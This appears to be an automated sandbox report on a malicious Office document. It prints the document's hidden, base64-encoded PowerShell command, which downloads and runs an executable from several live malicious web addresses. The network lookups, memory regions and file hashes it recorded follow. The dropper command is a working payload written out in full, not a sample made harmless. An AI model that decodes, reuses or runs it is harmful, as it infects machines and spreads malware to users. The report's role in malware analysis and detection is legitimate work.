Powershell -w hidden -en JABWAGsAYgBtAGQAawBsAGwAegBtAHUAaAB5AD0AJwBUAHAAcQBhAGEAdQBtAHcAdQAnADsAJABOAGwAcQB2AG0AeABiAGcAIAA9ACAAJwA5ADEAOQAnADsAJABYAHcAbABxAGQAYgBiAHoAYQA9ACcAWgBjAGkAeABnAGsAagBmAG4AdwAnADsAJABLAHoAYQB1AGwAcgB3AGQAbgB0AGkAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATgBsAHEAdgBtAHgAYgBnACsAJwAuAGUAeABlACcAOwAkAEgAawBmAHgAZgBpAG4AaABvAGgAZABvAD0AJwBWAHEAZgB4AHUAZQBlAGYAcgB5AHMAJwA7ACQATgBkAGEAeABtAGkAZAB1AD0AJgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcARQBCAEMATABpAGUATgBUADsAJABFAGgAegBvAHEAbABtAHUAbwA9ACcAaAB0AHQAcAA6AC8ALwBsAGUAaAByAGEAYQBnAHIAbwB0AGUAYwBoAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AQgAvACoAaAB0AHQAcAA6AC8ALwBlAG0AZABnAGEAbQBlAHMALgBjAG8AbQAvAGMAYQBsAGUAbgBkAGEAcgAvAHgAbwBzAC8AKgBoAHQAdABwADoALwAvAHMAZQBjAGEALgBpAG4AZgBvAGEAdgBpAHMAbwBzAC4AYwBvAG0ALwB3AHAALQBzAGUAYwBhAC8AZgAvACoAaAB0AHQAcAA6AC8ALwBhAHIAeAAxADYAMwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQB3ADQALwAqAGgAdAB0AHAAOgAvAC8AeQBvAHUAdABoAHAAbABhAG4AdAAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AOAAzADgALwAnAC4AIgBTAFAATABgAEkAVAAiACgAJwAqACcAKQA7ACQATQBsAHMAagBrAGgAZABkAGcAPQAnAFYAcQBuAGkAdgBzAHoAdABpACcAOwBmAG8AcgBlAGEAYwBoACgAJABTAHQAegBsAGkAeABzAGoAIABpAG4AIAAkAEUAaAB6AG8AcQBsAG0AdQBvACkAewB0AHIAeQB7ACQATgBkAGEAeABtAGkAZAB1AC4AIgBkAGAATwBXAG4ATABgAG8AYQBkAEYASQBsAGUAIgAoACQAUwB0AHoAbABpAHgAcwBqACwAIAAkAEsAegBhAHUAbAByAHcAZABuAHQAaQBmACkAOwAkAFMAegBwAGMAawBvAGMAdABoAGUAagA9ACcAVgB2AHgAcwBnAGwAagBwACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQASwB6AGEAdQBsAHIAdwBkAG4AdABpAGYAKQAuACIATABlAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADMANAA2ADIAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYQBgAFIAdAAiACgAJABLAHoAYQB1AGwAcgB3AGQAbgB0AGkAZgApADsAJABFAHIAdgBqAHkAeQB5AG8APQAnAFMAcwB0AGkAdwBwAGIAbQBxAHoAbQBuAG0AJwA7AGIAcgBlAGEAawA7ACQAVgBnAG4AeABpAHoAegB5AG4AeAB0AHQAcwA9ACcARwB1AHAAYwBkAGQAZABqAGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBjAGIAcABxAGUAaQBqAGQAPQAnAFEAZQB5AHMAdQBnAGsAZAB2AGkAJwA=

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.32.7:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 7.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 lehraagrotech.com udp
US 8.8.8.8:53 seca.infoavisos.com udp
US 8.8.8.8:53 arx163.com udp
CN 101.132.108.1:80 arx163.com tcp
US 8.8.8.8:53 67.112.168.52.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 2.22.249.11:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
GB 2.19.117.150:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 11.249.22.2.in-addr.arpa udp
US 8.8.8.8:53 150.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 youthplant.org udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 9.73.50.20.in-addr.arpa udp

Files

memory/3920-2-0x00007FFD5DC10000-0x00007FFD5DC20000-memory.dmp

memory/3920-1-0x00007FFD9DC2D000-0x00007FFD9DC2E000-memory.dmp

memory/3920-3-0x00007FFD5DC10000-0x00007FFD5DC20000-memory.dmp

memory/3920-0-0x00007FFD5DC10000-0x00007FFD5DC20000-memory.dmp

memory/3920-4-0x00007FFD5DC10000-0x00007FFD5DC20000-memory.dmp

memory/3920-5-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-6-0x00007FFD5DC10000-0x00007FFD5DC20000-memory.dmp

memory/3920-8-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-7-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-10-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-9-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-11-0x00007FFD5BBB0000-0x00007FFD5BBC0000-memory.dmp

memory/3920-12-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-13-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-15-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-14-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-17-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-19-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-18-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-16-0x00007FFD5BBB0000-0x00007FFD5BBC0000-memory.dmp

memory/3920-34-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-35-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-46-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-47-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-49-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-50-0x00007FFD9DC2D000-0x00007FFD9DC2E000-memory.dmp

memory/2384-51-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/2384-57-0x000001F1B6FC0000-0x000001F1B6FE2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ks35nddz.hwk.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3920-62-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-63-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-65-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-69-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-68-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-67-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-66-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-64-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-70-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

MD5 d29962abc88624befc0135579ae485ec
SHA1 e40a6458296ec6a2427bcb280572d023a9862b31
SHA256 a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
SHA512 4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

memory/3920-77-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-78-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-79-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

MD5 20739f8627074a1677bfbe539c239895
SHA1 56cdb33eef4a595ef50d6985a517d9f34dad88d7
SHA256 ed2fa1b0c0b68c99c5be504cc76db6b3583e8e911e22ab1d3d234cb4cd7d0816
SHA512 eb6148cf75dcad14893e98b4cca2e4162f6ee4331871889a3c4dc088c5a853177e615840ec29a852f03bdd767d6b880f4630c054fd948cfdbaa7fc8a0e6c0bc3

memory/3920-88-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/3920-89-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

memory/2384-90-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCDFEE7.tmp\sist02.xsl

MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

memory/2384-210-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp